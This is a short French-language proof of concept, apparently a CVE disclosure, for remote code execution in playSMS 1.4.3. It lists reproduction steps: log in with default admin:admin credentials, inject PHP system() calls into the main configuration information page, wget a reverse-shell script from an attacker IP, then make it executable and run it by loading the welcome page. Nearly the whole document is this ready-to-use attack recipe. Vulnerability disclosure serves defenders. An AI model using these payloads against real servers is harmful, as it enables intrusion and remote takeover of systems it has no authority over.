CVE-playsms

Il existe une vulnérabilité dans playsms 1.4.3 qui permet à des attaquants potentiels d'exécuter du code à distance.

comment reproduire RCE (shell):

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• connectez-vous avec admin:admin
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• hébergez le fichier bash malveillant sur la machine de l'attaquant
• téléchargez le fichier malveillant avec wget sur la machine
• saisissez <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?>
• enregistrez les informations (elles disparaîtront de la zone de saisie mais fonctionneront toujours)
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• rechargez la page http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• rendez le script shell exécutable - <?php system("chmod +x rev.sh && ./rev.sh") ?>
• enregistrez et visitez * http://127.0.0.1/index.php?app=main&inc=core_welcome pour obtenir l'exécution de code